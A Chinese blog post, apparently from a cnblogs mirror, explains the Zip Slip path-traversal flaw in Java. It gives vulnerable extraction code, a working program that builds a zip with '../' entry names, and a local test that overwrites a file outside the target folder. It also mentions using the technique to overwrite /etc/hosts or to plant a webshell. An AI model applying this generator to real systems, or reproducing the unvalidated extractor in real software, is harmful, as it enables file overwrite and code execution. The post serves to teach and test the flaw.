zoukankan      html  css  js  c++  java
  • 路径遍历:ZIP条目覆盖

    程序在解压zip文件时,如果没有验证zip条目,攻击者可能对条目覆盖,从而造成路径遍历

    例如:以下代码示例解压zip文件。
        static final int BUFFER = 512;
        // . ..
        BufferedOutputStream dest = null;
        FileInputStream fis = new FileInputStream(filename);
        ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
        ZipEntry entry;
        while ((entry = zis.getNextEntry()) != null) {
            System.out.println("Extracting: " + entry);
            int count;
            byte data[] = new byte[BUFFER];
            String fileName = entry.getName();
            if (entry.isDirectory()){
                new File(fileName ).mkdir();
                continue;
            }
            // write the files to the disk
            FileOutputStream fos = new FileOutputStream(fileName );
            dest = new BufferedOutputStream(fos, BUFFER);
            while ((count = zis.read(data, 0, BUFFER)) != -1) {
                dest.write(data, 0, count);
            }
            dest.flush();
            dest.close();
        }
         ...
        zis.close();
        代码示例未验证zipEntry.getName(),如果zip文件放在/tmp/目录中,zip条目为../etc/hosts,且应用程序在必要的权限下运行,则会导致系统的hosts文件被覆盖。

    我们进行测试该漏洞的时候需要有一个“特殊的”zip文件,条目带有../。然后再操作系统中是不能直接创建这样的zip文件的。故需要利用程序制作这样的zip。

    如下图所示,有一个test和test1两个文件夹,现在的实验是希望将test下的test1.txt进行压缩成一个条目中带有../的zip文件,再利用程序解压该文件夹时会覆盖test1中的test1.txt。(该漏洞实际利用过程中1.可以覆盖文件2.上传包含一句话木马的zip文件解压后所在文件夹不会被解析,可以利用此方法解压到其他文件夹中)

    对test.txt文件进行压缩的程序如下

    import java.io.BufferedInputStream;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.util.zip.ZipEntry;
    import java.util.zip.ZipOutputStream;

    /**
    * 学习使用java.util.zip压缩文件或者文件夹
    * @author lhm
    *
    */

    public class test2 {

    /**
    * @param args 主方法
    */
    public static void main(String[] args) {
    // TODO Auto-generated method stub
    //第一个参数是需要压缩的源路径;第二个参数是压缩文件的目的路径,这边需要将压缩的文件名字加上去
    compress("C:\Users/DELL/Desktop/test/test/test1.txt","C:/Users/DELL/Desktop/test/test/test1.zip");
    }

    /**s
    * 压缩文件
    * @param srcFilePath 压缩源路径
    * @param destFilePath 压缩目的路径
    */
    public static void compress(String srcFilePath, String destFilePath) {
    //
    File src = new File(srcFilePath);

    if (!src.exists()) {
    throw new RuntimeException(srcFilePath + "不存在");
    }
    File zipFile = new File(destFilePath);

    try {

    FileOutputStream fos = new FileOutputStream(zipFile);
    ZipOutputStream zos = new ZipOutputStream(fos);
    String baseDir = "../test1/";
    compressbyType(src, zos, baseDir);
    zos.close();

    } catch (Exception e) {
    // TODO Auto-generated catch block
    e.printStackTrace();

    }
    }
    /**
    * 按照原路径的类型就行压缩。文件路径直接把文件压缩,
    * @param src
    * @param zos
    * @param baseDir
    */
    private static void compressbyType(File src, ZipOutputStream zos,String baseDir) {

    if (!src.exists())
    return;
    System.out.println("压缩路径" + baseDir + src.getName());
    //判断文件是否是文件,如果是文件调用compressFile方法,如果是路径,则调用compressDir方法;
    if (src.isFile()) {
    //src是文件,调用此方法
    compressFile(src, zos, baseDir);

    } else if (src.isDirectory()) {
    //src是文件夹,调用此方法
    compressDir(src, zos, baseDir);

    }

    }

    /**
    * 压缩文件
    */
    private static void compressFile(File file, ZipOutputStream zos,String baseDir) {
    if (!file.exists())
    return;
    try {
    BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
    ZipEntry entry = new ZipEntry(baseDir + file.getName());
    zos.putNextEntry(entry);
    int count;
    byte[] buf = new byte[1024];
    while ((count = bis.read(buf)) != -1) {
    zos.write(buf, 0, count);
    }
    bis.close();

    } catch (Exception e) {
    // TODO: handle exception

    }
    }

    /**
    * 压缩文件夹
    */
    private static void compressDir(File dir, ZipOutputStream zos,String baseDir) {
    if (!dir.exists())
    return;
    File[] files = dir.listFiles();
    if(files.length == 0){
    try {
    zos.putNextEntry(new ZipEntry(baseDir + dir.getName()+File.separator));
    } catch (IOException e) {
    e.printStackTrace();
    }
    }
    for (File file : files) {
    compressbyType(file, zos, baseDir + dir.getName() + File.separator);
    }
    }}

    能成功压缩



    在利用如下程序进行解压测试是否能覆盖其他目录中的文件
    import java.io.File;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.util.Enumeration;

    import org.apache.tools.zip.ZipEntry;
    import org.apache.tools.zip.ZipFile;

    public class test {
    public static void main(String[] args) throws IOException {
    //解压zip的包
    String fileAddress = "C:/Users/DELL/Desktop/test/test/test1.zip";
    //zip文件解压路径
    String unZipAddress = "C:/Users/DELL/Desktop/test/test/";
    //去目录下寻找文件
    File file = new File(fileAddress);
    ZipFile zipFile = null;
    try {
    zipFile = new ZipFile(file,"GBK");//设置编码格式
    } catch (IOException exception) {
    exception.printStackTrace();
    System.out.println("解压文件不存在!");
    }

    Enumeration e = zipFile.getEntries();
    while(e.hasMoreElements()) {
    ZipEntry zipEntry = (ZipEntry)e.nextElement();
    if(zipEntry.isDirectory()) {
    String name = zipEntry.getName();
    System.out.println("zipEntry.getName():"+name);
    name = name.substring(0,name.length()-1);
    File f = new File(unZipAddress + name);
    f.mkdirs();
    } else {
    File f = new File(unZipAddress + zipEntry.getName());
    f.getParentFile().mkdirs();
    f.createNewFile();
    InputStream is = zipFile.getInputStream(zipEntry);
    FileOutputStream fos = new FileOutputStream(f);
    int length = 0;
    byte[] b = new byte[1024];

    while((length=is.read(b, 0, 1024))!=-1) {
    fos.write(b, 0, length);
    }
    is.close();
    fos.close();
    }
    }
    if (zipFile != null) {
    zipFile.close();
    }
    //file.deleteOnExit();
    // 解压完以后将压缩包删除
    }

    }
    
    
    
  • 相关阅读:
    js 中读取JSON的方法探讨
    git 教程 git.oschina.net
    JS实现页面跳转重定向的几种方式
    AngularJs 学习
    firebug js版
    emmt html生成
    idea sass scss配置
    关于idea激活
    sublime text There are no packages 解决!
    js监听滚动条事件
  • 原文地址:https://www.cnblogs.com/jinqi520/p/9391596.html
Copyright © 2011-2022 走看看